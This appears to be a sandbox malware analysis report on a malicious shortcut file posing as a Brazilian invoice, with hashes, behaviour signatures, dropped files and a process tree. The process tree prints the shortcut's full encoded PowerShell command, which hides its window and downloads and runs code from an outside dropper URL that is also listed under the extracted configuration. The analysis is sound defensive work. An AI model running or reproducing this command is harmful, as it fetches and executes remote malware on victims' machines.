Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    95s
  • max time network
    120s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/09/2024, 20:53

General

  • Target

    NotaFiscal_Danfe_N43553454BR.lnk

  • Size

    2KB

  • MD5

    c3996410f80fd3137feb0f42074c71ca

  • SHA1

    2da7caa8372ddb9e6601a029ed3d2128b5263b08

  • SHA256

    11718e47eee14d48ff490b5443e430607968f9a18d95272e72e128c0c97c6234

  • SHA512

    a706a0cd9c1a0443476067221786518a46c614a91f0937f384c7e8068d2ed85ff05e243e964556b34fc4c363d7296d229a47db1a37e78382825cf4f37294cb78

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://sepogy.epiain.com/v2/gl.php?aHR0cHM6Ly9zZXBvZ3kuZXBpYWluLmNvbS92Mnw2NDhR%

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\NotaFiscal_Danfe_N43553454BR.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:428
    • C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" -en cAB5ADsAYQBkAGQALQBUAFkAcABFACAALQBuAGEATQBFACAAQQAgAC0ATQBlAE0AYgBFAHIARABFAGYAaQBuAEkAVABpAE8ATgAgACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGIAbwBvAGwAIABTAGgAbwB3AFcAaQBuAGQAbwB3ACgAaQBuAHQAIABoACwAIABpAG4AdAAgAHMAKQA7ACcAIAAtAG4AQQBNAEUAcwBwAGEAQwBlACAAQgA7AFsAYgAuAEEAXQA6ADoAUwBIAE8AdwBXAEkAbgBkAE8AVwAoACgAWwBTAFkAcwB0AGUAbQAuAEQASQBhAGcATgBPAHMAVABpAEMAcwAuAFAAcgBPAEMAZQBzAHMAXQA6ADoAZwBlAHQAQwBVAFIAUgBlAG4AVABQAHIATwBDAEUAcwBTACgAKQAgAHwAIABQAFMAKQAuAE0AYQBJAE4AdwBpAG4ARABvAHcAaABhAG4ARABMAGUALAAwACkAOwBJAGUAWAAoAE4AZQBXAC0ATwBiAGoAZQBDAHQAIABOAGUAVAAuAFcAZQBiAEMATABpAGUAbgBUACkALgBEAE8AdwBOAEwATwBhAEQAUwBUAHIASQBOAEcAKAAnAGgAdAB0AHAAcwA6AC8ALwBzAGUAcABvAGcAeQAuAGUAcABpAGEAaQBuAC4AYwBvAG0ALwB2ADIALwBnAGwALgBwAGgAcAA/AGEASABSADAAYwBIAE0ANgBMAHkAOQB6AFoAWABCAHYAWgAzAGsAdQBaAFgAQgBwAFkAVwBsAHUATABtAE4AdgBiAFMAOQAyAE0AbgB3ADIATgBEAGgAUgAlACcAKQA=
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4220
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1xp02vi4\1xp02vi4.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4944
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAEFD.tmp" "c:\Users\Admin\AppData\Local\Temp\1xp02vi4\CSC9FFE5B5FDDFF47A4B26A39C533A8278A.TMP"
          4⤵
            PID:2360

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\1xp02vi4\1xp02vi4.dll

      Filesize

      3KB

      MD5

      f4ff9a5b00044d74b382028a2d95ff99

      SHA1

      a608708c71e1ebab3b414c07dd33b661cb963559

      SHA256

      38f1ea1a0721abf4d9eafe563c19212df7d21a49eb0a9d38e4ae4f719c53882b

      SHA512

      3052aba03d923576628408b229582fcfa61b29789dd22870c2b3889a31508573dbfee91d489f8ba054b3c95738b2b3ddec613c32533ad203e834f54e35a4294e

    • C:\Users\Admin\AppData\Local\Temp\RESAEFD.tmp

      Filesize

      1KB

      MD5

      b791f741b7abdc61ea61b44ac967dc65

      SHA1

      2c403a85ef57e64f04fcdc50f66d3f8ffc0a6d60

      SHA256

      84e6bb4338684a94425470bf96ad2dcbc1bc7de8d3b751858e7d2af45c59a125

      SHA512

      424236c42d07f0f702e03e65d85d679f3f6ddcc89ef11756809e9033da019772089c202fccea3a7b4f4796413ad78b95aac2b59a7ccc42628a9926ae1518898c

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fc2k0csy.y51.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • \??\c:\Users\Admin\AppData\Local\Temp\1xp02vi4\1xp02vi4.0.cs

      Filesize

      187B

      MD5

      7b0e7177dfbb9edd1c1ef08b4fdfae2f

      SHA1

      cb11a0252cdad66ec247312ccb7feb46456e52b6

      SHA256

      6caf22ef995616dc37bec21b2af3aa4597cdad88e00a13de0122db3af4e9a4aa

      SHA512

      7322be891145e550405917757420aeb513e5689970d34647177b1a79a12c7776d4e49c129b093be9927b46bc7582c0379e0cb520af58d4410ed4c5ef98b4dbfd

    • \??\c:\Users\Admin\AppData\Local\Temp\1xp02vi4\1xp02vi4.cmdline

      Filesize

      369B

      MD5

      a669fc2747918368fa9efa09b62c51bc

      SHA1

      83577f7ee996ebeafecd8160c8dfbeb77d3e336a

      SHA256

      96ad8432d23fbc544630dd49b1ac4e41e2fe5891e1a9359546afb41b082e7917

      SHA512

      adcc844685807112e7892b9451dab733f5394a117a4f85eb328ca080181b4fd06c559e5a7b3df67c1e8562b3d2afe82562b5ed651915ae524342776f6ccd1106

    • \??\c:\Users\Admin\AppData\Local\Temp\1xp02vi4\CSC9FFE5B5FDDFF47A4B26A39C533A8278A.TMP

      Filesize

      652B

      MD5

      c620f6045aabfa2a1efb302f6e48916f

      SHA1

      e0e79bd3b9bb7257b0daa2a29faa6fcae54ea915

      SHA256

      e849ccd2f7c01a677f2bf207705f42807f718691c49186d03d8ef58d0ea87ba0

      SHA512

      17b62f9dc8477931139d0b881ab04f952c88c3868a05007d7dd5d37fdbed7d1d2c3d2620e4e8db5528bb5dbeec13d98a282e684f77f77a83283207c18a7e29f0

    • memory/4220-13-0x00007FFCFA390000-0x00007FFCFAE51000-memory.dmp

      Filesize

      10.8MB

    • memory/4220-16-0x00007FFCFA390000-0x00007FFCFAE51000-memory.dmp

      Filesize

      10.8MB

    • memory/4220-15-0x00007FFCFA390000-0x00007FFCFAE51000-memory.dmp

      Filesize

      10.8MB

    • memory/4220-14-0x00007FFCFA390000-0x00007FFCFAE51000-memory.dmp

      Filesize

      10.8MB

    • memory/4220-2-0x00007FFCFA393000-0x00007FFCFA395000-memory.dmp

      Filesize

      8KB

    • memory/4220-29-0x0000016D3D120000-0x0000016D3D128000-memory.dmp

      Filesize

      32KB

    • memory/4220-9-0x0000016D3D130000-0x0000016D3D152000-memory.dmp

      Filesize

      136KB

    • memory/4220-33-0x00007FFCFA390000-0x00007FFCFAE51000-memory.dmp

      Filesize

      10.8MB